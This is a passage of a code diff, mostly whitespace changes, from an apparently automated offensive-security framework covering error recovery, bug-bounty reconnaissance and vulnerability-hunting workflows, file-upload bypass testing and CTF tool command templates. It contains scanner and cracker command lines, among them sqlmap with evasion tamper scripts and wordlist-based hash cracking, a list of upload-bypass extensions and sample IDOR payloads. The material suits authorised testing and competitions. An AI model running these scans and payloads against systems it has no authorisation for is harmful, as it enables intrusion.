"docker-bench-security"], "clair": ["trivy", "docker-bench-security"], - + # Binary analysis alternatives "ghidra": ["radare2", "ida", "binary-ninja"], "radare2": ["ghidra", "objdump", "gdb"], "gdb": ["radare2", "lldb"], - + # Exploitation alternatives "pwntools": ["ropper", "ropgadget"], "ropper": ["ropgadget", "pwntools"], "ropgadget": ["ropper", "pwntools"] } - + def _initialize_parameter_adjustments(self) -> Dict[str, Dict[ErrorType, Dict[str, Any]]]: """Initialize parameter adjustments for different error types and tools""" return { @@ -1957,11 +1957,11 @@ class IntelligentErrorHandler: ErrorType.RESOURCE_EXHAUSTED: {"threads": "5"} } } - + def classify_error(self, error_message: str, exception: Exception = None) -> ErrorType: """Classify error based on message and exception type""" error_text = error_message.lower() - + # Check exception type first if exception: if isinstance(exception, TimeoutError): @@ -1972,19 +1972,19 @@ class IntelligentErrorHandler: return ErrorType.NETWORK_UNREACHABLE elif isinstance(exception, FileNotFoundError): return ErrorType.TOOL_NOT_FOUND - + # Check error patterns for pattern, error_type in self.error_patterns.items(): if re.search(pattern, error_text, re.IGNORECASE): return error_type - + return ErrorType.UNKNOWN - + def handle_tool_failure(self, tool: str, error: Exception, context: Dict[str, Any]) -> RecoveryStrategy: """Determine best recovery action for tool failures""" error_message = str(error) error_type = self.classify_error(error_message, error) - + # Create error context error_context = ErrorContext( tool_name=tool, @@ -1997,26 +1997,26 @@ class IntelligentErrorHandler: stack_trace=traceback.format_exc(), system_resources=self._get_system_resources() ) - + # Add to error history self._add_to_history(error_context) - + # Get recovery strategies for this error type strategies = self.recovery_strategies.get(error_type, self.recovery_strategies[ErrorType.UNKNOWN]) - + # Select best strategy based on context best_strategy = self._select_best_strategy(strategies, error_context) - + error_message = f'{error_type.value} - Applying {best_strategy.action.value}' logger.warning(f"{ModernVisualEngine.format_error_card('RECOVERY', tool, error_message)}") - + return best_strategy - + def _select_best_strategy(self, strategies: List[RecoveryStrategy], context: ErrorContext) -> RecoveryStrategy: """Select the best recovery strategy based on context""" # Filter strategies based on attempt count viable_strategies = [s for s in strategies if context.attempt_count <= s.max_attempts] - + if not viable_strategies: # If all strategies exhausted, escalate to human return RecoveryStrategy( @@ -2027,25 +2027,25 @@ class IntelligentErrorHandler: success_probability=0.9, estimated_time=300 ) - + # Score strategies based on success probability and estimated time scored_strategies = [] for strategy in viable_strategies: # Adjust success probability based on previous failures adjusted_probability = strategy.success_probability * (0.9 ** (context.attempt_count - 1)) - + # Prefer strategies with higher success probability and lower time score = adjusted_probability - (strategy.estimated_time / 1000.0) scored_strategies.append((score, strategy)) - + # Return strategy with highest score scored_strategies.sort(key=lambda x: x[0], reverse=True) return scored_strategies[0][1] - + def auto_adjust_parameters(self, tool: str, error_type: ErrorType, original_params: Dict[str, Any]) -> Dict[str, Any]: """Automatically adjust tool parameters based on error patterns""" adjustments = self.parameter_adjustments.get(tool, {}).get(error_type, {}) - + if not adjustments: # Generic adjustments based on error type if error_type == ErrorType.TIMEOUT: @@ -2054,23 +2054,23 @@ class IntelligentErrorHandler: adjustments = {"delay": "2s", "threads": "3"} elif error_type == ErrorType.RESOURCE_EXHAUSTED: adjustments = {"threads": "3", "memory_limit": "1G"} - + # Apply adjustments to original parameters adjusted_params = original_params.copy() adjusted_params.update(adjustments) - + adjustment_info = f'Parameters adjusted: {adjustments}' logger.info(f"{ModernVisualEngine.format_tool_status(tool, 'RECOVERY', adjustment_info)}") - + return adjusted_params - + def get_alternative_tool(self, failed_tool: str, context: Dict[str, Any]) -> Optional[str]: """Get alternative tool for failed tool""" alternatives = self.tool_alternatives.get(failed_tool, []) - + if not alternatives: return None - + # Filter alternatives based on context requirements filtered_alternatives = [] for alt in alternatives: @@ -2079,13 +2079,13 @@ class IntelligentErrorHandler: if context.get('prefer_faster_tools') and alt in ['amass', 'w3af']: continue # Skip slower tools filtered_alternatives.append(alt) - + if not filtered_alternatives: filtered_alternatives = alternatives - + # Return first available alternative return filtered_alternatives[0] if filtered_alternatives else None - + def escalate_to_human(self, context: ErrorContext, urgency: str = "medium") -> Dict[str, Any]: """Escalate complex errors to human operator with full context""" escalation_data = { @@ -2103,18 +2103,18 @@ class IntelligentErrorHandler: "recent_errors": [e.error_message for e in context.previous_errors[-5:]] } } - + # Log escalation with enhanced formatting logger.error(f"{ModernVisualEngine.format_error_card('CRITICAL', context.tool_name, context.error_message, 'HUMAN ESCALATION REQUIRED')}") logger.error(f"{ModernVisualEngine.format_highlighted_text('ESCALATION DETAILS', 'RED')}") logger.error(f"{json.dumps(escalation_data, indent=2)}") - + return escalation_data - + def _get_human_suggestions(self, context: ErrorContext) -> List[str]: """Get human-readable suggestions for error resolution""" suggestions = [] - + if context.error_type == ErrorType.PERMISSION_DENIED: suggestions.extend([ "Run the command with sudo privileges", @@ -2141,9 +2141,9 @@ class IntelligentErrorHandler: ]) else: suggestions.append("Review error details and logs") - + return suggestions - + def _get_system_resources(self) -> Dict[str, Any]: """Get current system resource information""" try: @@ -2156,32 +2156,32 @@ class IntelligentErrorHandler: } except Exception: return {"error": "Unable to get system resources"} - + def _add_to_history(self, error_context: ErrorContext): """Add error context to history""" self.error_history.append(error_context) - + # Maintain history size limit if len(self.error_history) > self.max_history_size: self.error_history = self.error_history[-self.max_history_size:] - + def get_error_statistics(self) -> Dict[str, Any]: """Get error statistics for monitoring""" if not self.error_history: return {"total_errors": 0} - + error_counts = {} tool_errors = {} recent_errors = [] - + # Count errors by type and tool for error in self.error_history: error_type = error.error_type.value tool = error.tool_name - + error_counts[error_type] = error_counts.get(error_type, 0) + 1 tool_errors[tool] = tool_errors.get(tool, 0) + 1 - + # Recent errors (last hour) if (datetime.now() - error.timestamp).total_seconds() < 3600: recent_errors.append({ @@ -2189,7 +2189,7 @@ class IntelligentErrorHandler: "error_type": error_type, "timestamp": error.timestamp.isoformat() }) - + return { "total_errors": len(self.error_history), "error_counts_by_type": error_counts, @@ -2200,11 +2200,11 @@ class IntelligentErrorHandler: class GracefulDegradation: """Ensure system continues operating even with partial tool failures""" - + def __init__(self): self.fallback_chains = self._initialize_fallback_chains() self.critical_operations = self._initialize_critical_operations() - + def _initialize_fallback_chains(self) -> Dict[str, List[List[str]]]: """Initialize fallback tool chains for critical operations""" return { @@ -2234,30 +2234,30 @@ class GracefulDegradation: ["manual_testing"] # Manual parameter testing ] } - + def _initialize_critical_operations(self) -> Set[str]: """Initialize set of critical operations that must not fail completely""" return { "network_discovery", - "web_discovery", + "web_discovery", "vulnerability_scanning", "subdomain_enumeration" } - + def create_fallback_chain(self, operation: str, failed_tools: List[str] = None) -> List[str]: """Create fallback tool chain for critical operations""" if failed_tools is None: failed_tools = [] - + chains = self.fallback_chains.get(operation, []) - + # Find first chain that doesn't contain failed tools for chain in chains: viable_chain = [tool for tool in chain if tool not in failed_tools] if viable_chain: logger.info(f"๐Ÿ”„ Fallback chain for {operation}: {viable_chain}") return viable_chain - + # If no viable chain found, return basic fallback basic_fallbacks = { "network_discovery": ["ping"], @@ -2265,15 +2265,15 @@ class GracefulDegradation: "vulnerability_scanning": ["curl"], "subdomain_enumeration": ["dig"] } - + fallback = basic_fallbacks.get(operation, ["manual_testing"]) logger.warning(f"โš ๏ธ Using basic fallback for {operation}: {fallback}") return fallback - - def handle_partial_failure(self, operation: str, partial_results: Dict[str, Any], + + def handle_partial_failure(self, operation: str, partial_results: Dict[str, Any], failed_components: List[str]) -> Dict[str, Any]: """Handle partial results and fill gaps with alternative methods""" - + enhanced_results = partial_results.copy() enhanced_results["degradation_info"] = { "operation": operation, @@ -2282,36 +2282,36 @@ class GracefulDegradation: "fallback_applied": True, "timestamp": datetime.now().isoformat() } - + # Try to fill gaps based on operation type if operation == "network_discovery" and "open_ports" not in partial_results: # Try basic port check if full scan failed enhanced_results["open_ports"] = self._basic_port_check(partial_results.get("target")) - + elif operation == "web_discovery" and "directories" not in partial_results: # Try basic directory check enhanced_results["directories"] = self._basic_directory_check(partial_results.get("target")) - + elif operation == "vulnerability_scanning" and "vulnerabilities" not in partial_results: # Provide basic security headers check enhanced_results["vulnerabilities"] = self._basic_security_check(partial_results.get("target")) - + # Add recommendations for manual follow-up enhanced_results["manual_recommendations"] = self._get_manual_recommendations( operation, failed_components ) - + logger.info(f"๐Ÿ›ก๏ธ Graceful degradation applied for {operation}") return enhanced_results - + def _basic_port_check(self, target: str) -> List[int]: """Basic port connectivity check""" if not target: return [] - + common_ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 993, 995] open_ports = [] - + for port in common_ports: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -2322,17 +2322,17 @@ class GracefulDegradation: sock.close() except Exception: continue - + return open_ports - + def _basic_directory_check(self, target: str) -> List[str]: """Basic directory existence check""" if not target: return [] - + common_dirs = ["/admin", "/login", "/api", "/wp-admin", "/phpmyadmin", "/robots.txt"] found_dirs = [] - + for directory in common_dirs: try: url = f"{target.rstrip('/')}{directory}" @@ -2341,20 +2341,20 @@ class GracefulDegradation: found_dirs.append(directory) except Exception: continue - + return found_dirs - + def _basic_security_check(self, target: str) -> List[Dict[str, Any]]: """Basic security headers check""" if not target: return [] - + vulnerabilities = [] - + try: response = requests.get(target, timeout=10) headers = response.headers - + # Check for missing security headers security_headers = { "X-Frame-Options": "Clickjacking protection missing", @@ -2363,7 +2363,7 @@ class GracefulDegradation: "Strict-Transport-Security": "HTTPS enforcement missing", "Content-Security-Policy": "Content Security Policy missing" } - + for header, description in security_headers.items(): if header not in headers: vulnerabilities.append({ @@ -2372,20 +2372,20 @@ class GracefulDegradation: "description": description, "header": header }) - + except Exception as e: vulnerabilities.append({ "type": "connection_error", "severity": "info", "description": f"Could not perform basic security check: {str(e)}" }) - + return vulnerabilities - + def _get_manual_recommendations(self, operation: str, failed_components: List[str]) -> List[str]: """Get manual recommendations for failed operations""" recommendations = [] - + base_recommendations = { "network_discovery": [ "Manually test common ports using telnet or nc", @@ -2408,9 +2408,9 @@ class GracefulDegradation: "Perform manual DNS queries" ] } - + recommendations.extend(base_recommendations.get(operation, [])) - + # Add specific recommendations based on failed components for component in failed_components: if component == "nmap": @@ -2419,9 +2419,9 @@ class GracefulDegradation: recommendations.append("Try manual directory browsing") elif component == "nuclei": recommendations.append("Perform manual vulnerability testing") - + return recommendations - + def is_critical_operation(self, operation: str) -> bool: """Check if operation is critical and requires fallback""" return operation in self.critical_operations @@ -2443,10 +2443,10 @@ class BugBountyTarget: program_type: str = "web" # web, api, mobile, iot priority_vulns: List[str] = field(default_factory=lambda: ["rce", "sqli", "xss", "idor", "ssrf"]) bounty_range: str = "unknown" - + class BugBountyWorkflowManager: """Specialized workflow manager for bug bounty hunting""" - + def __init__(self): self.high_impact_vulns = { "rce": {"priority": 10, "tools": ["nuclei", "jaeles", "sqlmap"], "payloads": "command_injection"}, @@ -2458,7 +2458,7 @@ class BugBountyWorkflowManager: "xxe": {"priority": 6, "tools": ["nuclei"], "payloads": "xxe"}, "csrf": {"priority": 5, "tools": ["nuclei"], "payloads": "csrf"} } - + self.reconnaissance_tools = [ {"tool": "amass", "phase": "subdomain_enum", "priority": 1}, {"tool": "subfinder", "phase": "subdomain_enum", "priority": 2}, @@ -2469,7 +2469,7 @@ class BugBountyWorkflowManager: {"tool": "paramspider", "phase": "parameter_discovery", "priority": 7}, {"tool": "arjun", "phase": "parameter_discovery", "priority": 8} ] - + def create_reconnaissance_workflow(self, target: BugBountyTarget) -> Dict[str, Any]: """Create comprehensive reconnaissance workflow for bug bounty""" workflow = { @@ -2478,7 +2478,7 @@ class BugBountyWorkflowManager: "estimated_time": 0, "tools_count": 0 } - + # Phase 1: Subdomain Discovery subdomain_phase = { "name": "subdomain_discovery", @@ -2492,7 +2492,7 @@ class BugBountyWorkflowManager: "estimated_time": 300 } workflow["phases"].append(subdomain_phase) - + # Phase 2: HTTP Service Discovery http_phase = { "name": "http_service_discovery", @@ -2505,7 +2505,7 @@ class BugBountyWorkflowManager: "estimated_time": 180 } workflow["phases"].append(http_phase) - + # Phase 3: Content Discovery content_phase = { "name": "content_discovery", @@ -2520,7 +2520,7 @@ class BugBountyWorkflowManager: "estimated_time": 600 } workflow["phases"].append(content_phase) - + # Phase 4: Parameter Discovery param_phase = { "name": "parameter_discovery", @@ -2534,13 +2534,13 @@ class BugBountyWorkflowManager: "estimated_time": 240 } workflow["phases"].append(param_phase) - + # Calculate totals workflow["estimated_time"] = sum(phase["estimated_time"] for phase in workflow["phases"]) workflow["tools_count"] = sum(len(phase["tools"]) for phase in workflow["phases"]) - + return workflow - + def create_vulnerability_hunting_workflow(self, target: BugBountyTarget) -> Dict[str, Any]: """Create vulnerability hunting workflow prioritized by impact""" workflow = { @@ -2549,16 +2549,16 @@ class BugBountyWorkflowManager: "estimated_time": 0, "priority_score": 0 } - + # Sort vulnerabilities by priority - sorted_vulns = sorted(target.priority_vulns, - key=lambda v: self.high_impact_vulns.get(v, {}).get("priority", 0), + sorted_vulns = sorted(target.priority_vulns, + key=lambda v: self.high_impact_vulns.get(v, {}).get("priority", 0), reverse=True) - + for vuln_type in sorted_vulns: if vuln_type in self.high_impact_vulns: vuln_config = self.high_impact_vulns[vuln_type] - + vuln_test = { "vulnerability_type": vuln_type, "priority": vuln_config["priority"], @@ -2567,13 +2567,13 @@ class BugBountyWorkflowManager: "test_scenarios": self._get_test_scenarios(vuln_type), "estimated_time": vuln_config["priority"] * 30 # Higher priority = more time } - + workflow["vulnerability_tests"].append(vuln_test) workflow["estimated_time"] += vuln_test["estimated_time"] workflow["priority_score"] += vuln_config["priority"] - + return workflow - + def _get_test_scenarios(self, vuln_type: str) -> List[Dict[str, Any]]: """Get specific test scenarios for vulnerability types""" scenarios = { @@ -2603,9 +2603,9 @@ class BugBountyWorkflowManager: {"name": "Encoded IDOR", "payloads": ["id=MQ==", "id=Mg=="]} # base64 encoded 1,2 ] } - + return scenarios.get(vuln_type, []) - + def create_business_logic_testing_workflow(self, target: BugBountyTarget) -> Dict[str, Any]: """Create business logic testing workflow""" workflow = { @@ -2649,9 +2649,9 @@ class BugBountyWorkflowManager: "estimated_time": 480, # 8 hours for thorough business logic testing "manual_testing_required": True } - + return workflow - + def create_osint_workflow(self, target: BugBountyTarget) -> Dict[str, Any]: """Create OSINT gathering workflow""" workflow = { @@ -2693,12 +2693,12 @@ class BugBountyWorkflowManager: "estimated_time": 240, "intelligence_types": ["technical", "social", "business", "infrastructure"] } - + return workflow class FileUploadTestingFramework: """Specialized framework for file upload vulnerability testing""" - + def __init__(self): self.malicious_extensions = [ ".php", ".php3", ".php4", ".php5", ".phtml", ".pht", @@ -2706,7 +2706,7 @@ class FileUploadTestingFramework: ".py", ".rb", ".pl", ".cgi", ".sh", ".bat", ".cmd", ".exe" ] - + self.bypass_techniques = [ "double_extension", "null_byte", @@ -2715,7 +2715,7 @@ class FileUploadTestingFramework: "case_variation", "special_characters" ] - + def generate_test_files(self) -> Dict[str, Any]: """Generate various test files for upload testing""" test_files = { @@ -2734,9 +2734,9 @@ class FileUploadTestingFramework: {"name": "polyglot.jpg", "content": "GIF89a", "technique": "image_polyglot"} ] } - + return test_files - + def create_upload_testing_workflow(self, target_url: str) -> Dict[str, Any]: """Create comprehensive file upload testing workflow""" workflow = { @@ -2769,7 +2769,7 @@ class FileUploadTestingFramework: "estimated_time": 360, "risk_level": "high" } - + return workflow # Global bug bounty workflow manager @@ -2794,7 +2794,7 @@ class CTFChallenge: class CTFWorkflowManager: """Specialized workflow manager for CTF competitions""" - + def __init__(self): self.category_tools = { "web": { @@ -2847,7 +2847,7 @@ class CTFWorkflowManager: "geolocation": ["geoint", "osm-analysis", "satellite-imagery"] } } - + self.solving_strategies = { "web": [ {"strategy": "source_code_analysis", "description": "Analyze HTML/JS source for hidden information"}, @@ -2891,7 +2891,7 @@ class CTFWorkflowManager: {"strategy": "key_recovery", "description": "Extract encryption keys from binaries"} ] } - + def create_ctf_challenge_workflow(self, challenge: CTFChallenge) -> Dict[str, Any]: """Create advanced specialized workflow for CTF challenge with AI-powered optimization""" workflow = { @@ -2911,17 +2911,17 @@ class CTFWorkflowManager: "expected_artifacts": [], "validation_steps": [] } - + # Enhanced tool selection using CTFToolManager ctf_tool_manager = CTFToolManager() workflow["tools"] = ctf_tool_manager.suggest_tools_for_challenge(challenge.description, challenge.category) - + # Get category-specific strategies with enhanced intelligence if challenge.category in self.solving_strategies: workflow["strategies"] = self.solving_strategies[challenge.category] # Add fallback strategies for robustness workflow["fallback_strategies"] = self._generate_fallback_strategies(challenge.category) - + # Advanced time estimation with machine learning-like scoring base_times = { "easy": {"min": 15, "avg": 30, "max": 60}, @@ -2930,7 +2930,7 @@ class CTFWorkflowManager: "insane": {"min": 120, "avg": 240, "max": 480}, "unknown": {"min": 45, "avg": 90, "max": 180} } - + # Factor in category complexity category_multipliers = { "web": 1.0, @@ -2941,16 +2941,16 @@ class CTFWorkflowManager: "misc": 0.8, "osint": 0.9 } - + base_time = base_times[challenge.difficulty]["avg"] category_mult = category_multipliers.get(challenge.category, 1.0) - + # Adjust based on description complexity description_complexity = self._analyze_description_complexity(challenge.description) complexity_mult = 1.0 + (description_complexity * 0.3) - + workflow["estimated_time"] = int(base_time * category_mult * complexity_mult * 60) # Convert to seconds - + # Enhanced success probability calculation base_success = { "easy": 0.85, @@ -2959,31 +2959,31 @@ class CTFWorkflowManager: "insane": 0.25, "unknown": 0.55 }[challenge.difficulty] - + # Adjust based on tool availability and category expertise tool_availability_bonus = min(0.15, len(workflow["tools"]) * 0.02) workflow["success_probability"] = min(0.95, base_success + tool_availability_bonus) - + # Add advanced workflow components workflow["workflow_steps"] = self._create_advanced_category_workflow(challenge) workflow["parallel_tasks"] = self._identify_parallel_tasks(challenge.category) workflow["resource_requirements"] = self._calculate_resource_requirements(challenge) workflow["expected_artifacts"] = self._predict_expected_artifacts(challenge) workflow["validation_steps"] = self._create_validation_steps(challenge.category) - + return workflow - + def _select_tools_for_challenge(self, challenge: CTFChallenge, category_tools: Dict[str, List[str]]) -> List[str]: """Select appropriate tools based on challenge details""" selected_tools = [] - + # Always include reconnaissance tools for the category if "reconnaissance" in category_tools: selected_tools.extend(category_tools["reconnaissance"][:2]) # Top 2 recon tools - + # Add specialized tools based on challenge description description_lower = challenge.description.lower() - + if challenge.category == "web": if any(keyword in description_lower for keyword in ["sql", "injection", "database"]): selected_tools.append("sqlmap") @@ -2993,7 +2993,7 @@ class CTFWorkflowManager: selected_tools.append("wpscan") if any(keyword in description_lower for keyword in ["upload", "file"]): selected_tools.extend(["gobuster", "feroxbuster"]) - + elif challenge.category == "crypto": if any(keyword in description_lower for keyword in ["hash", "md5", "sha"]): selected_tools.extend(["hashcat", "john"]) @@ -3001,14 +3001,14 @@ class CTFWorkflowManager: selected_tools.extend(["rsatool", "factordb"]) if any(keyword in description_lower for keyword in ["cipher", "encrypt"]): selected_tools.extend(["cipher-identifier", "cyberchef"]) - + elif challenge.category == "pwn": selected_tools.extend(["checksec", "ghidra", "pwntools"]) if any(keyword in description_lower for keyword in ["heap", "malloc"]): selected_tools.append("glibc-heap-analysis") if any(keyword in description_lower for keyword in ["format", "printf"]): selected_tools.append("format-string-exploiter") - + elif challenge.category == "forensics": if any(keyword in description_lower for keyword in ["image", "jpg", "png"]): selected_tools.extend(["exiftool", "steghide", "stegsolve"]) @@ -3016,15 +3016,15 @@ class CTFWorkflowManager: selected_tools.append("volatility") if any(keyword in description_lower for keyword in ["network", "pcap"]): selected_tools.extend(["wireshark", "tcpdump"]) - + elif challenge.category == "rev": selected_tools.extend(["ghidra", "radare2", "strings"]) if any(keyword in description_lower for keyword in ["packed", "upx"]): selected_tools.extend(["upx", "peid"]) - + # Remove duplicates while preserving order return list(dict.fromkeys(selected_tools)) - + def _create_category_workflow(self, challenge: CTFChallenge) -> List[Dict[str, Any]]: """Create category-specific workflow steps""" workflows = { @@ -3069,7 +3069,7 @@ class CTFWorkflowManager: {"step": 6, "action": "flag_generation", "description": "Generate or extract the flag"} ] } - + return workflows.get(challenge.category, [ {"step": 1, "action": "analysis", "description": "Analyze the challenge"}, {"step": 2, "action": "research", "description": "Research relevant techniques"}, @@ -3078,7 +3078,7 @@ class CTFWorkflowManager: {"step": 5, "action": "refinement", "description": "Refine approach if needed"}, {"step": 6, "action": "flag_submission", "description": "Submit the flag"} ]) - + def create_ctf_team_strategy(self, challenges: List[CTFChallenge], team_size: int = 4) -> Dict[str, Any]: """Create team strategy for CTF competition""" strategy = { @@ -3088,7 +3088,7 @@ class CTFWorkflowManager: "estimated_total_time": 0, "expected_score": 0 } - + # Sort challenges by points/time ratio for optimal strategy challenge_efficiency = [] for challenge in challenges: @@ -3099,19 +3099,19 @@ class CTFWorkflowManager: "efficiency": efficiency, "workflow": workflow }) - + # Sort by efficiency (highest first) challenge_efficiency.sort(key=lambda x: x["efficiency"], reverse=True) - + # Allocate challenges to team members team_workload = [0] * team_size for i, item in enumerate(challenge_efficiency): # Assign to team member with least workload team_member = team_workload.index(min(team_workload)) - + if team_member not in strategy["challenge_allocation"]: strategy["challenge_allocation"][team_member] = [] - + strategy["challenge_allocation"][team_member].append({ "challenge": item["challenge"].name, "category": item["challenge"].category, @@ -3119,15 +3119,15 @@ class CTFWorkflowManager: "estimated_time": item["workflow"]["estimated_time"], "success_probability": item["workflow"]["success_probability"] }) - + team_workload[team_member] += item["workflow"]["estimated_time"] strategy["expected_score"] += item["challenge"].points * item["workflow"]["success_probability"] - + strategy["estimated_total_time"] = max(team_workload) strategy["priority_order"] = [item["challenge"].name for item in challenge_efficiency] - + return strategy - + def _generate_fallback_strategies(self, category: str) -> List[Dict[str, str]]: """Generate fallback strategies for when primary approaches fail""" fallback_strategies = { @@ -3182,18 +3182,18 @@ class CTFWorkflowManager: ] } return fallback_strategies.get(category, []) - + def _analyze_description_complexity(self, description: str) -> float: """Analyze challenge description complexity to adjust time estimates""" complexity_score = 0.0 description_lower = description.lower() - + # Length-based complexity if len(description) > 500: complexity_score += 0.3 elif len(description) > 200: complexity_score += 0.1 - + # Technical term density technical_terms = [ "algorithm", "encryption", "decryption", "vulnerability", "exploit", @@ -3202,17 +3202,17 @@ class CTFWorkflowManager: "reverse engineering", "binary analysis", "memory corruption", "heap", "stack", "rop", "shellcode", "payload" ] - + term_count = sum(1 for term in technical_terms if term in description_lower) complexity_score += min(0.4, term_count * 0.05) - + # Multi-step indicators multi_step_indicators = ["first", "then", "next", "after", "finally", "step"] step_count = sum(1 for indicator in multi_step_indicators if indicator in description_lower) complexity_score += min(0.3, step_count * 0.1) - + return min(1.0, complexity_score) - + def _create_advanced_category_workflow(self, challenge: CTFChallenge) -> List[Dict[str, Any]]: """Create advanced category-specific workflow with parallel execution support""" advanced_workflows = { @@ -3285,7 +3285,7 @@ class CTFWorkflowManager: {"step": 7, "action": "verification", "description": "Verify findings and extract flag", "parallel": False, "tools": ["manual"], "estimated_time": 600} ] } - + return advanced_workflows.get(challenge.category, [ {"step": 1, "action": "analysis", "description": "Analyze the challenge", "parallel": False, "tools": ["manual"], "estimated_time": 600}, {"step": 2, "action": "research", "description": "Research relevant techniques", "parallel": False, "tools": ["manual"], "estimated_time": 900}, @@ -3294,7 +3294,7 @@ class CTFWorkflowManager: {"step": 5, "action": "refinement", "description": "Refine approach if needed", "parallel": False, "tools": ["manual"], "estimated_time": 900}, {"step": 6, "action": "flag_submission", "description": "Submit the flag", "parallel": False, "tools": ["manual"], "estimated_time": 300} ]) - + def _identify_parallel_tasks(self, category: str) -> List[Dict[str, Any]]: """Identify tasks that can be executed in parallel for efficiency""" parallel_tasks = { @@ -3334,9 +3334,9 @@ class CTFWorkflowManager: {"task_group": "format_analysis", "tasks": ["file", "binwalk"], "max_concurrent": 2} ] } - + return parallel_tasks.get(category, []) - + def _calculate_resource_requirements(self, challenge: CTFChallenge) -> Dict[str, Any]: """Calculate estimated resource requirements for challenge""" base_requirements = { @@ -3347,7 +3347,7 @@ class CTFWorkflowManager: "gpu_required": False, "special_tools": [] } - + # Adjust based on category category_adjustments = { "web": {"cpu_cores": 4, "memory_mb": 4096, "network_bandwidth": "high"}, @@ -3358,10 +3358,10 @@ class CTFWorkflowManager: "osint": {"cpu_cores": 2, "memory_mb": 2048, "network_bandwidth": "high"}, "misc": {"cpu_cores": 2, "memory_mb": 2048} } - + if challenge.category in category_adjustments: base_requirements.update(category_adjustments[challenge.category]) - + # Adjust based on difficulty difficulty_multipliers = { "easy": 1.0, @@ -3370,14 +3370,14 @@ class CTFWorkflowManager: "insane": 2.0, "unknown": 1.3 } - + multiplier = difficulty_multipliers[challenge.difficulty] base_requirements["cpu_cores"] = int(base_requirements["cpu_cores"] * multiplier) base_requirements["memory_mb"] = int(base_requirements["memory_mb"] * multiplier) base_requirements["disk_space_mb"] = int(base_requirements["disk_space_mb"] * multiplier) - + return base_requirements - + def _predict_expected_artifacts(self, challenge: CTFChallenge) -> List[Dict[str, str]]: """Predict expected artifacts and outputs from challenge solving""" artifacts = { @@ -3431,12 +3431,12 @@ class CTFWorkflowManager: {"type": "intermediate_results", "description": "Intermediate calculation results"} ] } - + return artifacts.get(challenge.category, [ {"type": "solution_data", "description": "Solution-related data"}, {"type": "analysis_results", "description": "Analysis results and findings"} ]) - + def _create_validation_steps(self, category: str) -> List[Dict[str, str]]: """Create validation steps to verify solution correctness""" validation_steps = { @@ -3483,7 +3483,7 @@ class CTFWorkflowManager: {"step": "flag_extraction", "description": "Extract and validate final flag"} ] } - + return validation_steps.get(category, [ {"step": "general_validation", "description": "General solution validation"}, {"step": "flag_verification", "description": "Verify flag format and correctness"} @@ -3491,7 +3491,7 @@ class CTFWorkflowManager: class CTFToolManager: """Advanced tool manager for CTF challenges with comprehensive tool arsenal""" - + def __init__(self): self.tool_commands = { # Web Application Security Tools @@ -3507,7 +3507,7 @@ class CTFToolManager: "wpscan": "wpscan --url {} --enumerate ap,at,cb,dbe", "nikto": "nikto -h {} -C all", "whatweb": "whatweb -v -a 3", - + # Cryptography Challenge Tools "hashcat": "hashcat -m 0 -a 0 --potfile-disable --quiet", "john": "john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5", @@ -3528,7 +3528,7 @@ class CTFToolManager: "base32": "base32 -d", "hex": "xxd -r -p", "rot13": "tr 'A-Za-z' 'N-ZA-Mn-za-m'", - + # Binary Exploitation (Pwn) Tools "checksec": "checksec --file", "pwntools": "python3 -c 'from pwn import *; context.log_level = \"debug\"'", @@ -3553,7 +3553,7 @@ class CTFToolManager: "hexdump": "hexdump -C", "pwninit": "pwninit", "libc-database": "python3 /opt/libc-database/find.py", - + # Forensics Investigation Tools "binwalk": "binwalk -e --dd='.*'", "foremost": "foremost -i {} -o /tmp/foremost_output", @@ -3577,7 +3577,7 @@ class CTFToolManager: "bulk-extractor": "bulk_extractor -o /tmp/bulk_output", "ddrescue": "ddrescue", "dc3dd": "dc3dd", - + # Reverse Engineering Tools "ida": "ida64", "ida-free": "ida64 -A", @@ -3596,7 +3596,7 @@ class CTFToolManager: "dnspy": "dnspy", "ilspy": "ilspy", "dotpeek": "dotpeek", - + # OSINT and Reconnaissance Tools "sherlock": "sherlock", "social-analyzer": "social-analyzer", @@ -3619,7 +3619,7 @@ class CTFToolManager: "waybackurls": "waybackurls", "gau": "gau", "httpx-osint": "httpx -title -tech-detect -status-code", - + # Miscellaneous Challenge Tools "qr-decoder": "zbarimg", "barcode-decoder": "zbarimg", @@ -3640,7 +3640,7 @@ class CTFToolManager: "xz": "unxz", "lzma": "unlzma", "compress": "uncompress", - + # Modern Web Technologies "jwt-tool": "python3 /opt/jwt_tool/jwt_tool.py", "jwt-cracker": "jwt-cracker", @@ -3650,7 +3650,7 @@ class CTFToolManager: "burpsuite": "java -jar /opt/burpsuite/burpsuite.jar", "owasp-zap": "zap.sh -cmd", "websocket-king": "python3 /opt/websocket-king/ws_test.py", - + # Cloud and Container Security "docker": "docker", "kubectl": "kubectl", @@ -3659,7 +3659,7 @@ class CTFToolManager: "gcloud": "gcloud", "terraform": "terraform", "ansible": "ansible", - + # Mobile Application Security "adb": "adb", "frida": "frida", @@ -3668,7 +3668,7 @@ class CTFToolManager: "apkleaks": "apkleaks -f", "qark": "qark --apk" } - + # Tool categories for intelligent selection self.tool_categories = { "web_recon": ["httpx", "katana", "waybackurls", "gau", "whatweb"], @@ -3697,11 +3697,11 @@ class CTFToolManager: "misc_compression": ["zip", "7zip", "rar", "tar"], "misc_esoteric": ["brainfuck", "whitespace", "piet", "malbolge"] } - + def get_tool_command(self, tool: str, target: str, additional_args: str = "") -> str: """Get optimized command for CTF tool with intelligent parameter selection""" base_command = self.tool_commands.get(tool, tool) - + # Add intelligent parameter optimization based on tool type if tool in ["hashcat", "john"]: # For hash cracking, add common wordlists and rules @@ -3709,14 +3709,14 @@ class CTFToolManager: base_command += " --wordlist=/usr/share/wordlists/rockyou.txt" if tool == "hashcat" and "--rules" not in base_command: base_command += " --rules-file=/usr/share/hashcat/rules/best64.rule" - + elif tool in ["sqlmap"]: # For SQL injection, add tamper scripts and optimization if "--tamper" not in base_command: base_command += " --tamper=space2comment,charencode,randomcase" if "--threads" not in base_command: base_command += " --threads=5" - + elif tool in ["gobuster", "dirsearch", "feroxbuster"]: # For directory brute forcing, optimize threads and extensions if tool == "gobuster" and "-t" not in base_command: @@ -3725,25 +3725,25 @@ class CTFToolManager: base_command += " -t 50" elif tool == "feroxbuster" and "-t" not in base_command: base_command += " -t 50" - + if additional_args: return f"{base_command} {additional_args} {target}" else: return f"{base_command} {target}" - + def get_category_tools(self, category: str) -> List[str]: """Get all tools for a specific category""" return self.tool_categories.get(category, []) - + def suggest_tools_for_challenge(self, challenge_description: str, category: str) -> List[str]: """Suggest optimal tools based on challenge description and category""" suggested_tools = [] description_lower = 